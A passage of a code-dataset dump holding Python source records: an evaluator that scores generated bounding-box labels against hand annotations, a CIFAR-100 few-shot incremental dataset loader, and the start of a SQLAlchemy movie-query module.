"data.users.User", "line_number": 177, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 186, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 190, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 191, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 192, "usage_type": "call"}, {"api_name": "data.db_session.global_init", "line_number": 196, "usage_type": "call"}, {"api_name": "data.db_session", "line_number": 196, "usage_type": "name"}]} {"seq_id": "71774724704", "text": "import sys, os\n\nimport matplotlib.pyplot as plt\nimport json\n\nfrom label_writer import LabelWriter\nfrom ImageAnnotator import ImageAnnotator\n\ndef create_result_dict():\n return {\n \"Good\": 0,\n \"Low IoU\": 0,\n \"Missed some objects\": 0,\n \"Missed but nearby label exists\": 0,\n \"False Positive\": 0\n}\n\ndef intersection_over_union(box1, box2):\n x1, y1, w1, h1 = box1\n x2, y2, w2, h2 = box2\n\n # Calculate the area of the two boxes\n area1 = w1 * h1\n area2 = w2 * h2\n\n # Find the coordinates of the intersection rectangle\n x_left = max(x1, x2)\n y_top = max(y1, y2)\n x_right = min(x1 + w1, x2 + w2)\n y_bottom = min(y1 + h1, y2 + h2)\n\n # Check if there is an overlap between the boxes\n if x_right > x_left and y_bottom > y_top:\n # Calculate the area of the intersection rectangle\n intersection_area = (x_right - x_left) * (y_bottom - y_top)\n # Calculate the IoU\n IoU = intersection_area / (area1 + area2 - intersection_area)\n else:\n IoU = 0\n return IoU\n\nclass Evaluator:\n def __init__(self, generated_labels_path, run, generated_labels_name=\"\"):\n self.annotation_file_name = \"generation_test_annotations.json\"\n self.load_or_create_annotations()\n\n self.generated_labels_path = generated_labels_path\n self.run = run\n self.generated_labels_name = generated_labels_name\n self.load_generated_labels()\n\n self.excluded_images = [\"1642804066_700761922.jpg\", \"1642794993_026760267.jpg\", \"1613649527_563673270.jpg\", \"1613660970_928659396.jpg\", \"1613651050_729522290.jpg\", \"1613660972_523641122.jpg\", \"1613660972_523641122.jpg\", \"1613651051_330365111.jpg\", \"1613651051_330365111.jpg\",\n \"1642804062_103107946.jpg\", \"1642794995_026394484.jpg\", \"1642794995_695279962.jpg\", \"1642804062_295954483.jpg\",\n \"1642794993_895708497.jpg\", \"1613660972_523641122.jpg\", \"1613651051_330365111.jpg\", \"1642804066_097828137.jpg\",\n \"1642804062_103107946.jpg\"]\n\n def load_or_create_annotations(self):\n self.label_writer = LabelWriter()\n\n # read the labels, if they exist\n if os.path.isfile(self.annotation_file_name):\n # label_reader = LabelReader(annotation_file_name)\n # labels = label_reader.labels\n with open(self.annotation_file_name, \"r\") as f:\n labels = json.load(f)\n self.label_writer.annotation_dict = labels\n print(\"labels loaded\")\n\n def show_existing_annotations(self):\n if False:\n # Show the labels\n for image in self.label_writer.annotation_dict[\"images\"]:\n img_path = image[\"file_name\"]\n img = plt.imread(img_path)\n fig, axis = plt.subplots(1, figsize=(10,10))\n axis.imshow(img)\n # add the image name as the title\n axis.set_title(img_path.split(\"/\")[-1])\n print(\"image: \", img_path.split(\"/\")[-1])\n axis.axis('off')\n for label in self.label_writer.annotation_dict[\"annotations\"]:\n if label[\"image_id\"] == image[\"id\"]:\n x, y, w, h = label[\"bbox\"]\n # print(\"Drawing box: \", x, y, w, h)\n rect = plt.Rectangle((x, y), w, h, fill=False, edgecolor='red', linewidth=2)\n axis.add_patch(rect)\n plt.show()\n\n def show_generated_labels(self, save_only=True, save_name=\"\"):\n # delete the output folder if it exists and create a new one\n output_folder = \"../outputs/evaluated_labels/\" + self.run + \"/\"\n if save_name != \"\":\n output_folder += save_name + \"/\"\n if os.path.exists(output_folder):\n import shutil\n shutil.rmtree(output_folder)\n os.makedirs(output_folder)\n \n # Show the labels\n for image in self.generated_labels[\"images\"]:\n img_path = self.generated_labels_path + self.run + image[\"file_name\"]\n img = plt.imread(img_path)\n fig, axis = plt.subplots(1, figsize=(10,10))\n axis.imshow(img)\n # add the image name as the title\n axis.set_title(self.individual_image_results.get(img_path.split(\"/\")[-1], \"excluded\"))\n axis.axis('off')\n for label in self.generated_labels[\"annotations\"]:\n if label[\"image_id\"] == image[\"id\"]:\n x, y, w, h = label[\"bbox\"]\n rect = plt.Rectangle((x, y), w, h, fill=False, edgecolor='red', linewidth=2)\n axis.add_patch(rect)\n # draw in the gt labels if they exist\n for image in self.label_writer.annotation_dict[\"images\"]:\n if image[\"file_name\"].split(\"/\")[-1] == img_path.split(\"/\")[-1]:\n img_id = image[\"id\"]\n for label in self.label_writer.annotation_dict[\"annotations\"]:\n if label[\"image_id\"] == img_id:\n x, y, w, h = label[\"bbox\"]\n # print(\"Drawing box: \", x, y, w, h)\n rect = plt.Rectangle((x, y), w, h, fill=False, edgecolor='green', linewidth=2)\n axis.add_patch(rect)\n if not save_only:\n plt.show()\n\n # save the image\n saved_img_name = img_path.split(\"/\")[-1]\n plt.savefig(output_folder + \"jpg_\" + saved_img_name, bbox_inches='tight', pad_inches=0.0, dpi=250)\n saved_img_name = saved_img_name.replace(\".jpg\", \".pdf\")\n plt.savefig(output_folder + saved_img_name, bbox_inches='tight', pad_inches=0.0, dpi=250)\n axis.set_title(\"\")\n plt.savefig(output_folder + \"raw_\" + saved_img_name, bbox_inches='tight', pad_inches=0.0, dpi=250)\n plt.close()\n\n def load_generated_labels(self):\n if not self.generated_labels_name.endswith(\".json\"):\n # read out all the files in the generated labels folder. Take the newest file\n path = self.generated_labels_path + self.run\n files = os.listdir(path)\n highest_num = 0\n file_name = \"merged_labels.json\"\n for i in range(len(files)):\n if \"merged_labels_\" in files[i]:\n num = int(files[i].split(\"_\")[-1].split(\".\")[0])\n if num > highest_num:\n highest_num = num\n file_name = files[i]\n # assert \"merged\" in files[-1], \"The newest file in the generated labels folder does not contain 'merged' in the name\"\n # assert \"merged\" in files[-1]\n file_name = path + file_name\n else:\n file_name = path + self.generated_labels_name\n\n print(\"Using label_file \", file_name)\n with open(file_name, \"r\") as f: # self.generated_labels_path + \n self.generated_labels = json.load(f)\n\n def evaluate(self):\n label_results = create_result_dict()\n image_results = create_result_dict()\n individual_image_results = {}\n num_excluded_images = 0\n for image in self.generated_labels[\"images\"]:\n img_name = image[\"file_name\"].split(\"/\")[-1]\n if img_name in self.excluded_images:\n num_excluded_images += 1\n continue\n gt_image_names = [img[\"file_name\"].split(\"/\")[-1] for img in self.label_writer.annotation_dict[\"images\"]]\n if img_name not in gt_image_names:\n print(\"Creating label for image: \", img_name, image[\"file_name\"])\n print(self.generated_labels_path + self.run + image[\"file_name\"])\n image_annotator = ImageAnnotator()\n full_path = self.generated_labels_path + self.run + image[\"file_name\"]\n continue_labeling = image_annotator.label_image(full_path)\n if not continue_labeling:\n break\n\n if image_annotator.exclude_image:\n self.excluded_images.append(img_name)\n num_excluded_images += 1\n continue\n\n assert image_annotator.image.shape[0] == image[\"height\"], \"The labeled image has a different height than the generated image\"\n assert image_annotator.image.shape[1] == image[\"width\"], \"The labeled image has a different width than the generated image\"\n\n new_img_id = self.label_writer.add_image_entry(full_path, image[\"width\"], image[\"height\"])\n boxes = image_annotator.boxes\n boxes = [[box[0][0], box[0][1], box[1][0] - box[0][0], box[1][1] - box[0][1]] for box in boxes]\n for box in boxes:\n self.label_writer.add_annotation_entry(new_img_id, box, [], [])\n self.label_writer.save_as_json(\".\", self.annotation_file_name)\n else:\n # get all the boxes from the annotations\n gt_img_id = [img[\"id\"] for img in self.label_writer.annotation_dict[\"images\"] if img[\"file_name\"].split(\"/\")[-1] == img_name][0]\n boxes = []\n for label in self.label_writer.annotation_dict[\"annotations\"]:\n if label[\"image_id\"] == gt_img_id:\n boxes.append(label[\"bbox\"])\n\n # get the boxes into the correct format (x, y, w, h) with x and y being the top left corner and w, h > 0\n new_boxes = []\n for box in boxes:\n if box[2] < 0:\n box[0] += box[2]\n box[2] *= -1\n if box[3] < 0:\n box[1] += box[3]\n box[3] *= -1\n new_boxes.append(box)\n boxes = new_boxes\n \n # get all the boxes from the generated labels\n generated_boxes = []\n for label in self.generated_labels[\"annotations\"]:\n if label[\"image_id\"] == image[\"id\"]:\n generated_boxes.append(label[\"bbox\"])\n \n # match the boxes based on distance\n # for each box in the generated labels, find the closest box in the gt labels, with a maximum distance of 2x the size of the box\n # if there is no box within x pixels, then the box is a false positive\n\n list_of_distances = []\n distance_dict = {}\n for i, box in enumerate(generated_boxes):\n distances = []\n for j, gt_box in enumerate(boxes):\n # compute the distance between the boxes\n distance = ((box[0] - gt_box[0]) ** 2 + (box[1] - gt_box[1]) ** 2) ** 0.5\n distance_dict[(i, j)] = distance\n distances.append(distance)\n list_of_distances.append(distances)\n \n # find the best match for each box\n best_matches = []\n for i in range(len(list_of_distances)):\n best_match = -1\n # set the best distance to 2x the size of the box\n generated_box = generated_boxes[i]\n best_distance = 2 * (generated_box[2] ** 2 + generated_box[3] ** 2) ** 0.5\n # best_distance = 2 * (list_of_distances[i][0][2] ** 2 + list_of_distances[i][0][3] ** 2) ** 0.5\n # best_distance = 10000\n for j in range(len(list_of_distances[i])):\n if list_of_distances[i][j] < best_distance:\n best_distance = list_of_distances[i][j]\n best_match = j\n best_matches.append(best_match)\n \n current_img_state = \"Good\"\n \n # check if there are any boxes that are matched to the same box\n for i in range(len(best_matches)):\n for j in range(i + 1, len(best_matches)):\n if best_matches[i] == best_matches[j] and best_matches[i] != -1:\n # print(\"image: \", img_name)\n # print(\"distances: \", distance_dict[(i, best_matches[i])], distance_dict[(j, best_matches[j])])\n print(\"boxes: \", generated_boxes[i], boxes[best_matches[i]])\n print(\"Box \", i, \" and box \", j, \" are matched to the same box\")\n\n # # check which box is closer, set the other one to -1\n # if distance_dict[(i, best_matches[i])] < distance_dict[(j, best_matches[j])]:\n # best_matches[j] = -1\n # else:\n # best_matches[i] = -1\n\n # # draw this image\n # img_path = self.generated_labels_path + self.run + image[\"file_name\"]\n # img = plt.imread(img_path)\n # fig, axis = plt.subplots(1, figsize=(10,10))\n # axis.imshow(img)\n # # add the image name as the title\n # axis.set_title(img_path.split(\"/\")[-1])\n # print(\"image: \", img_path.split(\"/\")[-1])\n # axis.axis('off')\n # for label in self.generated_labels[\"annotations\"]:\n # if label[\"image_id\"] == image[\"id\"]:\n # x, y, w, h = label[\"bbox\"]\n # # print(\"Drawing box: \", x, y, w, h)\n # rect = plt.Rectangle((x, y), w, h, fill=False, edgecolor='red', linewidth=2)\n # axis.add_patch(rect)\n # for label in self.label_writer.annotation_dict[\"annotations\"]:\n # if label[\"image_id\"] == gt_img_id:\n # x, y, w, h = label[\"bbox\"]\n # # print(\"Drawing box: \", x, y, w, h)\n # rect = plt.Rectangle((x, y), w, h, fill=False, edgecolor='green', linewidth=2)\n # axis.add_patch(rect)\n # plt.show()\n\n # assert False, \"Box \" + str(i) + \" and box \" + str(j) + \" are matched to the same box\"\n \n # save the results for each box and image\n for i in range(len(best_matches)):\n if best_matches[i] == -1:\n # no match found\n label_results[\"False Positive\"] += 1\n current_img_state = \"False Positive\"\n else:\n # check if the IoU is high enough\n box = generated_boxes[i]\n gt_box = boxes[best_matches[i]]\n iou = intersection_over_union(box, gt_box)\n # print(\"iou: \", iou, box, gt_box)\n if iou < 0.01:\n label_results[\"Missed but nearby label exists\"] += 1\n if current_img_state == \"Good\" or current_img_state == \"Low IoU\":\n current_img_state = \"Missed but nearby label exists\"\n elif iou < 0.5:\n label_results[\"Low IoU\"] += 1\n if current_img_state == \"Good\":\n current_img_state = \"Low IoU\"\n else:\n label_results[\"Good\"] += 1\n \n # check if any boxes are missing\n for i in range(len(boxes)):\n if i not in best_matches:\n # no match found\n label_results[\"Missed some objects\"] += 1\n current_img_state = \"Missed some objects\"\n \n image_results[current_img_state] += 1\n individual_image_results[img_name] = current_img_state\n \n\n # self.label_writer.save_as_json(\".\", self.annotation_file_name)\n print(f\"Exluded {num_excluded_images} images from the evaluation\".format(num_excluded_images))\n print(\"label results: \", label_results)\n print(\"image results: \", image_results)\n self.individual_image_results = individual_image_results\n return label_results, image_results\n \n def save_positive_labels(self):\n # save all labels classified as \"Good\" in a json file\n generated_labels = self.generated_labels\n cleaned_labels = generated_labels.copy()\n new_annotations = []\n new_images = []\n for label in generated_labels[\"annotations\"]:\n img_name = [img[\"file_name\"].split(\"/\")[-1] for img in generated_labels[\"images\"] if img[\"id\"] == label[\"image_id\"]][0]\n if img_name in self.individual_image_results and self.individual_image_results[img_name] == \"Good\":\n new_annotations.append(label)\n if label[\"image_id\"] not in [img[\"id\"] for img in new_images]:\n new_images.append([img for img in generated_labels[\"images\"] if img[\"id\"] == label[\"image_id\"]][0])\n cleaned_labels[\"annotations\"] = new_annotations\n cleaned_labels[\"images\"] = new_images\n\n with open(self.generated_labels_path + self.run + \"cleaned_labels.json\", \"w\") as f:\n json.dump(cleaned_labels, f)\n \n def remove_img(self, img_name):\n if input(\"Are you sure you want to remove image \" + img_name + \"? (y/n)\") != \"y\":\n return\n \n # create a backup\n import shutil\n shutil.copyfile(self.annotation_file_name, self.annotation_file_name[:-5] + \"_backup.json\")\n print(f\"Created backup of {self.annotation_file_name} to {self.annotation_file_name[:-5] + '_backup.json'}\")\n \n img_id = -1\n # remove the image from the hand-labeled images\n for i in range(len(self.label_writer.annotation_dict[\"images\"])):\n if self.label_writer.annotation_dict[\"images\"][i][\"file_name\"].split(\"/\")[-1] == img_name:\n img_id = self.label_writer.annotation_dict[\"images\"][i][\"id\"]\n del self.label_writer.annotation_dict[\"images\"][i]\n print(\"Successfully removed image: \", img_name)\n break\n\n if img_id == -1:\n print(\"Image not found\")\n return\n\n # remove the annotations for the image\n annotations_to_remove = []\n for j in range(len(self.label_writer.annotation_dict[\"annotations\"])):\n if self.label_writer.annotation_dict[\"annotations\"][j][\"image_id\"] == img_id:\n # del label_writer.annotation_dict[\"annotations\"][j]\n annotations_to_remove.append(j)\n # break\n\n annotations_to_remove.sort(reverse=True)\n for j in annotations_to_remove:\n del self.label_writer.annotation_dict[\"annotations\"][j]\n print(\"Successfully removed annotation for image: \", img_name)\n \n # save the labels\n self.label_writer.save_as_json(\".\", self.annotation_file_name)\n\n\n\nif __name__ == \"__main__\":\n # label_path = sys.argv[1]\n # generated_labels_path = \"../outputs/\"\n# run = \"2022_01_21_14_04/\"\n# generated_labels_name = \"\"\n evaluator = Evaluator(\"../outputs/\", \"2022_01_21_14_04/\")\n evaluator.show_existing_annotations()\n # evaluator.evaluate()\n label_results, image_results = evaluator.evaluate()\n evaluator.show_generated_labels()", "repo_name": "pneug/label-generation", "sub_path": "BoxGeneration/Evaluator.py", "file_name": "Evaluator.py", "file_ext": "py", "file_size_in_byte": 19469, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "label_writer.LabelWriter", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imread", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 96, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imread", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 139, "usage_type": "call"}, {"api_name": "json.load", "line_number": 156, "usage_type": "call"}, {"api_name": "ImageAnnotator.ImageAnnotator", "line_number": 172, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 347, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 355, "usage_type": "call"}]} {"seq_id": "37724196272", "text": "import os.path as osp\nimport pickle\nfrom collections import defaultdict\nfrom typing import List, Dict, Mapping, Optional, Tuple\n\nfrom mmcv.runner import get_dist_info\n\nfrom mmcls.datasets.utils import download_and_extract_archive, check_integrity\nfrom typing_extensions import Literal\n\nimport copy\nimport numpy as np\nfrom mmcls.datasets.builder import DATASETS\nfrom mmcls.datasets.pipelines import Compose\n\nfrom torch.utils.data import Dataset\nimport torch.distributed as dist\n\nCLASSES = [\n 'apple', 'aquarium_fish', 'baby', 'bear', 'beaver',\n 'bed', 'bee', 'beetle', 'bicycle', 'bottle',\n 'bowl', 'boy', 'bridge', 'bus', 'butterfly',\n 'camel', 'can', 'castle', 'caterpillar', 'cattle',\n 'chair', 'chimpanzee', 'clock', 'cloud', 'cockroach',\n 'couch', 'crab', 'crocodile', 'cup', 'dinosaur',\n 'dolphin', 'elephant', 'flatfish', 'forest', 'fox',\n 'girl', 'hamster', 'house', 'kangaroo', 'keyboard',\n 'lamp', 'lawn_mower', 'leopard', 'lion', 'lizard',\n 'lobster', 'man', 'maple_tree', 'motorcycle', 'mountain',\n 'mouse', 'mushroom', 'oak_tree', 'orange', 'orchid',\n 'otter', 'palm_tree', 'pear', 'pickup_truck', 'pine_tree',\n\n 'plain', 'plate', 'poppy', 'porcupine', 'possum',\n 'rabbit', 'raccoon', 'ray', 'road', 'rocket',\n 'rose', 'sea', 'seal', 'shark', 'shrew',\n 'skunk', 'skyscraper', 'snail', 'snake', 'spider',\n 'squirrel', 'streetcar', 'sunflower', 'sweet_pepper', 'table',\n 'tank', 'telephone', 'television', 'tiger', 'tractor',\n 'train', 'trout', 'tulip', 'turtle', 'wardrobe',\n 'whale', 'willow_tree', 'wolf', 'woman', 'worm'\n]\n\n# Please refer to https://github.com/icoz69/CEC-CVPR2021/tree/dc26237/data/index_list/cifar100\nFSCIL_SAMPLES = {\n 'plain': [29774, 33344, 4815, 6772, 48317],\n 'plate': [29918, 33262, 5138, 7342, 47874],\n 'poppy': [28864, 32471, 4316, 6436, 47498],\n 'porcupine': [29802, 33159, 3730, 5093, 47740],\n 'possum': [30548, 34549, 2845, 4996, 47866],\n\n 'rabbit': [28855, 32834, 4603, 6914, 48126],\n 'raccoon': [29932, 33300, 3860, 5424, 47055],\n 'ray': [29434, 32604, 4609, 6380, 47844],\n 'road': [30456, 34217, 4361, 6550, 46896],\n 'rocket': [29664, 32857, 4923, 7502, 47270],\n\n 'rose': [31267, 34427, 4799, 6611, 47404],\n 'sea': [28509, 31687, 3477, 5563, 48003],\n 'seal': [29545, 33412, 5114, 6808, 47692],\n 'shark': [29209, 33265, 4131, 6401, 48102],\n 'shrew': [31290, 34432, 6060, 8451, 48279],\n\n 'skunk': [32337, 35646, 6022, 9048, 48584],\n 'skyscraper': [30768, 34394, 5091, 6510, 48023],\n 'snail': [30310, 33230, 5098, 6671, 48349],\n 'snake': [29690, 33490, 4260, 5916, 47371],\n 'spider': [31173, 34943, 4517, 6494, 47689],\n\n 'squirrel': [30281, 33894, 3768, 6113, 48095],\n 'streetcar': [28913, 32821, 6172, 8276, 48004],\n 'sunflower': [31249, 34088, 5257, 6961, 47534],\n 'sweet_pepper': [30404, 34101, 4985, 6899, 48115],\n 'table': [31823, 35148, 3922, 6548, 48127],\n\n 'tank': [30815, 34450, 3481, 5089, 47913],\n 'telephone': [31683, 34591, 5251, 7608, 47984],\n 'television': [29837, 33823, 4615, 6448, 47752],\n 'tiger': [31222, 34079, 5686, 7919, 48675],\n 'tractor': [28567, 32964, 5009, 6201, 47039],\n\n 'train': [29355, 33909, 3982, 5389, 47166],\n 'trout': [31058, 35180, 5177, 6890, 48032],\n 'tulip': [31176, 35098, 5235, 7861, 47830],\n 'turtle': [30874, 34639, 5266, 7489, 47323],\n 'wardrobe': [29960, 34050, 4988, 7434, 48208],\n\n 'whale': [30463, 34580, 5230, 6813, 48605],\n 'willow_tree': [31702, 35249, 5854, 7765, 48444],\n 'wolf': [30380, 34028, 5211, 7433, 47988],\n 'woman': [31348, 34021, 4929, 7033, 47904],\n 'worm': [30627, 33728, 4895, 6299, 47507],\n}\n\n\n@DATASETS.register_module()\nclass CIFAR100FSCILDataset(Dataset):\n \"\"\"CIRFAR100 dataset for few shot class-incremental classification.\n few_cls is None when performing usual training, is tuple for few-shot training\n \"\"\"\n\n # Copy and paste from torchvision\n base_folder = 'cifar-100-python'\n url = \"https://www.cs.toronto.edu/~kriz/cifar-100-python.tar.gz\"\n filename = \"cifar-100-python.tar.gz\"\n tgz_md5 = 'eb9058c3a382ffc7106e4002c42a8d85'\n train_list = [\n ['train', '16019d7e3df5f24257cddd939b257f8d'],\n ]\n\n test_list = [\n ['test', 'f0ef6b0ae62326f3e7ffdfab6717acfc'],\n ]\n meta = {\n 'filename': 'meta',\n 'key': 'fine_label_names',\n 'md5': '7973b15100ade9c7d40fb424638fde48',\n }\n\n def __init__(\n self,\n data_prefix: str,\n pipeline: List[Dict],\n num_cls: int = 100,\n subset: Literal['train', 'test'] = 'train',\n few_cls: Optional[Tuple] = None,\n test_mode: bool = False,\n ):\n rank, world_size = get_dist_info()\n\n self.data_prefix = data_prefix\n assert isinstance(pipeline, list), 'pipeline is type of list'\n self.pipeline = Compose(pipeline)\n\n if rank == 0 and not self._check_integrity():\n download_and_extract_archive(\n self.url,\n self.data_prefix,\n filename=self.filename,\n md5=self.tgz_md5)\n\n if world_size > 1:\n dist.barrier()\n assert self._check_integrity(), \\\n 'Shared storage seems unavailable. ' \\\n f'Please download the dataset manually through {self.url}.'\n\n self.subset = subset\n if self.subset == 'train':\n downloaded_list = self.train_list\n elif self.subset == 'test':\n downloaded_list = self.test_list\n else:\n raise NotImplementedError\n\n if few_cls is not None:\n assert self.subset == 'train'\n self.CLASSES = [CLASSES[_] for _ in few_cls]\n self.few_mod = True\n else:\n self.CLASSES = self.get_classes(num_cls)\n self.few_mod = False\n\n self.data_infos = self.load_annotations(downloaded_list)\n\n @staticmethod\n def get_classes(num_cls):\n return CLASSES[:num_cls]\n\n @property\n def class_to_idx(self) -> Mapping:\n \"\"\"Map mapping class name to class index.\n\n Returns:\n dict: mapping from class name to class index.\n \"\"\"\n\n return {_class: i for i, _class in enumerate(CLASSES)}\n\n def load_annotations(self, downloaded_list) -> List:\n \"\"\"Load annotation according to the classes subset.\"\"\"\n imgs = []\n gt_labels = []\n\n # load the picked numpy arrays\n for file_name, checksum in downloaded_list:\n file_path = osp.join(self.data_prefix, self.base_folder, file_name)\n with open(file_path, 'rb') as f:\n entry = pickle.load(f, encoding='latin1')\n imgs.append(entry['data'])\n if 'labels' in entry:\n gt_labels.extend(entry['labels'])\n else:\n gt_labels.extend(entry['fine_labels'])\n\n imgs = np.vstack(imgs).reshape(-1, 3, 32, 32)\n imgs = imgs.transpose((0, 2, 3, 1)) # convert to HWC\n\n self._load_meta()\n\n data_infos = []\n\n cls_cnt = defaultdict(lambda: 0)\n if self.few_mod:\n for cls in self.CLASSES:\n for idx in FSCIL_SAMPLES[cls]:\n assert CLASSES[gt_labels[idx]] == cls\n info = {\n 'img': imgs[idx],\n 'gt_label': gt_labels[idx],\n 'cls_id': self.class_to_idx[cls],\n 'img_id': cls_cnt[cls]\n }\n cls_cnt[cls] += 1\n data_infos.append(info)\n else:\n for img, _gt_label in zip(imgs, gt_labels):\n if CLASSES[_gt_label] in self.CLASSES:\n gt_label = np.array(_gt_label, dtype=np.int64)\n info = {'img': img, 'gt_label': gt_label, 'cls_id': _gt_label, 'img_id': cls_cnt[_gt_label]}\n cls_cnt[_gt_label] += 1\n data_infos.append(info)\n return data_infos\n\n def __len__(self) -> int:\n \"\"\"Return length of the dataset.\"\"\"\n return len(self.data_infos)\n\n def __getitem__(self, idx: int) -> Dict:\n return self.prepare_data(idx)\n\n def prepare_data(self, idx: int) -> Dict:\n results = copy.deepcopy(self.data_infos[idx])\n return self.pipeline(results)\n\n # from mmcls, thx\n def _load_meta(self):\n path = osp.join(self.data_prefix, self.base_folder, self.meta['filename'])\n if not check_integrity(path, self.meta['md5']):\n raise RuntimeError(\n 'Dataset metadata file not found or corrupted.' +\n ' You can use download=True to download it')\n with open(path, 'rb') as infile:\n data = pickle.load(infile, encoding='latin1')\n for idx, name in enumerate(data[self.meta['key']]):\n assert CLASSES[idx] == name\n\n # from mmcls, thx\n def _check_integrity(self):\n root = self.data_prefix\n for fentry in (self.train_list + self.test_list):\n filename, md5 = fentry[0], fentry[1]\n fpath = osp.join(root, self.base_folder, filename)\n if not check_integrity(fpath, md5):\n return False\n return True\n\n", "repo_name": "NeuralCollapseApplications/FSCIL", "sub_path": "mmfscil/datasets/cifar100.py", "file_name": "cifar100.py", "file_ext": "py", "file_size_in_byte": 9314, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 61, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 96, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 122, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 122, "usage_type": "name"}, {"api_name": "typing_extensions.Literal", "line_number": 124, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 125, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 125, "usage_type": "name"}, {"api_name": "mmcv.runner.get_dist_info", "line_number": 128, "usage_type": "call"}, {"api_name": "mmcls.datasets.pipelines.Compose", "line_number": 132, "usage_type": "call"}, {"api_name": "mmcls.datasets.utils.download_and_extract_archive", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.distributed.barrier", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 142, "usage_type": "name"}, {"api_name": "typing.Mapping", "line_number": 170, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 186, "usage_type": "call"}, {"api_name": "os.path", "line_number": 186, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 195, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 218, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 179, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 228, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 232, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 231, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path", "line_number": 237, "usage_type": "name"}, {"api_name": "mmcls.datasets.utils.check_integrity", "line_number": 238, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 243, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 252, "usage_type": "call"}, {"api_name": "os.path", "line_number": 252, "usage_type": "name"}, {"api_name": "mmcls.datasets.utils.check_integrity", "line_number": 253, "usage_type": "call"}, {"api_name": "mmcls.datasets.builder.DATASETS.register_module", "line_number": 95, "usage_type": "call"}, {"api_name": "mmcls.datasets.builder.DATASETS", "line_number": 95, "usage_type": "name"}]} {"seq_id": "40523251429", "text": "from sqlalchemy import or_, and_\nfrom sqlalchemy.orm import Session\n\nimport configuration\nfrom model.company import Company\nfrom model.credit_type import CreditType\nfrom model.genre import Genre\nfrom model.movie import Movie\nfrom model.movies_to_genres import movies_to_genres_association_table\nfrom model.movies_to_named_entities import MoviesToNamedEntities\nfrom model.named_entity import NamedEntity\nfrom model.person import Person\nfrom model.credit import Credit\nfrom model.keyword import Keyword\nfrom model.reviews import Review\nfrom model.base import Base\nimport sqlalchemy\nfrom sqlalchemy.sql import select\n\n\ndef select_movies_by_title(session, title, date_from=None, date_to=None, match_title=False):\n query = session.query(Movie)\n title = f'%{title.lower()}%'\n if match_title is True:\n query = query.filter(Movie.title.match(title))\n else:\n query = query.filter(sqlalchemy.func.lower(Movie.title).like(title))\n if date_from is not None:\n query = query.filter(Movie.release_date >= date_from)\n if (date_to is not None):\n query = query.filter(Movie.release_date <= date_to)\n result = query.order_by(Movie.vote_count.desc()).all()\n return result\n\n\ndef select_movie_by_id(session, tmdb_id):\n query = 